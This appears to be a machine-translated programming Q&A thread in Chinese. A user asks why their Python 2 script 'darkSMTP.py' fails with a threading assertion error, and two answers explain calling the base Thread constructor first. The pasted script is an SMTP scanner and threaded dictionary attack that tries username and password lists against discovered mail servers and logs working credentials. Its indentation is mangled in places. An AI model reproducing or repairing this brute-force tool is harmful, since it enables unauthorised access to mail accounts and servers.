2015-09-27 79 views
7

我發現很難解決以下程序錯誤,我非常感謝一些輸入。Python:斷言錯誤,「未調用」

該程序的目標是執行SMTP掃描。用戶輸入要分配給掃描進程的目標IP地址,用戶名,密碼和線程數。

Traceback (most recent call last): 
File "/home/user/Desktop/darkSMTP.py", line 133, in <module> 
    thread = myThread(i, "Thread " + str(i), i);  
    File "/home/user/Desktop/darkSMTP.py", line 100, in __init__ 
    self.name = name 
    File "/usr/lib/python2.6/threading.py", line 669, in name 
    assert self.__initialized, "Thread.__init__() not called" 
AssertionError: Thread.__init__() not called 

代碼如下:

import threading, time, random, sys, smtplib, socket 
from smtplib import SMTP 
from copy import copy 
from optparse import OptionParser 

usage= "./%prog -i <iplist> -t <threads> -u <userlist> -p <passlist>" 
usage = usage+"\nExample: ./%prog -i ips.txt -t 8 -u user.txt -p pass.txt" 
parser = OptionParser(usage=usage) 
parser.add_option("-i", 
        action="store", dest="ips", 
        help="IP list for scanning") 
parser.add_option("-t", type="int", 
        action="store", dest="threads", 
        help="Threads for processing") 
parser.add_option("-u", 
        action="store", dest="users", 
        help="List of usernames") 
parser.add_option("-p", 
        action="store", dest="passes", 
        help="List of passwords") 
(options, args) = parser.parse_args() 

def timer(): 
     now = time.localtime(time.time()) 
     return time.asctime(now) 

if len(sys.argv) != 9: 
    parser.print_help() 
    sys.exit(1) 

i = 1 
port = 25 
threads = options.threads 
file = options.ips 
users = options.users 
passes = options.passes 
completed = [] 
threaders = [] 
logger = open('darkSMTP.txt','w') 
ipfile = open(file,'r') 
print "[+] Warming up...ok"; 
lines = ipfile.readlines() 
print "[+] IP's loaded:",len(lines); 
print "[+] Users loaded:",len(users) 
print "[+] Passwords loaded:",len(passes) 
ipfile.close(); 
eachThread = len(lines)/int(threads); 
print "[+] IP's per thread:",eachThread; 

class myThread (threading.Thread): 
    def __init__(self, threadID, name, counter): 
     self.threadID = threadID 
     self.name = name 
     self.counter = counter 
     threading.Thread.__init__(self) 
    def run(self): 
     print "[+] Starting " + self.name 
     connect(self.name, self.counter, eachThread, self.threadID) 

def connect(threadName, delay, counter, threadID): 
    start = threadID * counter 
     file = open(options.ips,'r') 
     data = file.readlines() 
    while counter: 
     if 0: 
       thread.exit() 
     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
     s.settimeout(2) 
     try: 
        connect=s.connect((data[start-counter],port)) 
       print "[+] SMTP server on: " + data[start-counter], 
      print "[+] Server added to output file!" 
      logger.write(data[start-counter]) 
      if s.recv(1024): 
       completed.append(data[start-counter].rstrip()) 
     except socket.timeout: 
      print "[-] Server non-existant: " + data[start-counter].rstrip() 
      except socket.error: 
        print "[+] Server exists! " + data[start-counter].rstrip(); 
      print "[-] But it's not SMTP" 
      s.close() 
     time.sleep(delay) 
     counter -= 1 

while (i < int(threads + 1)): 
    thread = myThread(i, "Thread " + str(i), i);  
    threaders.append(thread) 
    i += 1 
    thread.start() 

for t in threaders: 
    t.join() 

print "\n--- Found & logged all SMTP servers in range ---\n" 
print "---------------------------------------------------" 
print "[+] Starting dictionary attack for each SMTP server" 
print "---------------------------------------------------\n" 

try:  
    helo = smtplib.SMTP(sys.argv[1]) 
    name = helo.helo() 
    helo.quit() 
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException): 
    name = "[-] Server doesn't support the Helo cmd" 

try: 
    users = open(users, "r").readlines() 
except(IOError): 
    print "Error: Check your userlist path\n" 
    sys.exit(1) 

try: 
    words = open(passes, "r").readlines() 
except(IOError): 
    print "Error: Check your wordlist path\n" 
    sys.exit(1) 

wordlist = copy(words) 
def reloader(): 
    for word in wordlist: 
     words.append(word) 

def getword(): 
    lock = threading.Lock() 
    lock.acquire() 
    if len(words) != 0: 
     value = random.sample(words, 1) 
     words.remove(value[0]) 
    else: 
     reloader() 
     value = random.sample(words, 1) 
     words.remove(value[0]) 
     users.remove(users[0]) 
    lock.release() 
    return value[0][:-1], users[0][:-1] 

class Worker(threading.Thread): 
    def __init__(self): 
      threading.Thread.__init__(self) 
    def run(self): 
     value, user = getword() 
     for ip in completed: 
      print "-"*12 
      print "[+] IP: "+ip 
      try: 
       print "User:",user,"Password:",value 
       smtp = smtplib.SMTP(ip) 
       smtp.login(user, value) 
       print "\t\n[!] Login successful:",user, value 
       logger.write("[!] Found: " + ip + " " + str(user) + ":" + str(value) + "\n") 
       smtp.quit() 
       sys.exit(2) 
      except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
       pass 

for i in range(len(words)*len(users)): 
    work = Worker() 
    work.start() 
    threaders.append(work) 
    time.sleep(1) 

for t in threaders: 
    t.join() 

logger.close() 

感謝

+2

您是否在初始化任何其他屬性之前嘗試調用超構造函數'threading.Thread .__ init __(self)'?我知道這可能看起來很奇怪,但我記得在過去遇到過這個同樣的問題...... –

+0

嘿,user3423572,你在哪裏??????? –

回答

8

你MyThread的類的構造函數必須是:

class myThread (threading.Thread): 
    def __init__(self, threadID, name, counter): 
     threading.Thread.__init__(self, name=name) 
     self.threadID = threadID 
     self.name = name 
     self.counter = counter 
    def run(self): 
     print("[+] Starting " + self.name) 
     connect(self.name, self.counter, eachThread, self.threadID) 

__init__threading.Thread.__init__(self, name=name)注意。在嘗試設置名稱之前,您必須調用基類的構造函數。

+0

我認爲在調用基類的構造函數時,super()是首選。你也分配兩次名稱屬性。 – mnencia

3

在嘗試設置名稱之前,您必須先致電__init__()。 Thread.name是一個屬性,而不是普通的屬性,它的setter會檢查該對象是否已經初始化。另外,您不需要手動指定名稱,因爲Threading.__init__已具有名稱參數。所以:

class myThread(threading.Thread): 
    def __init__(self, threadID, name, counter): 
     super(myThread, self).__init__(name=name) 
     self.threadID = threadID 
     self.counter = counter 
    #...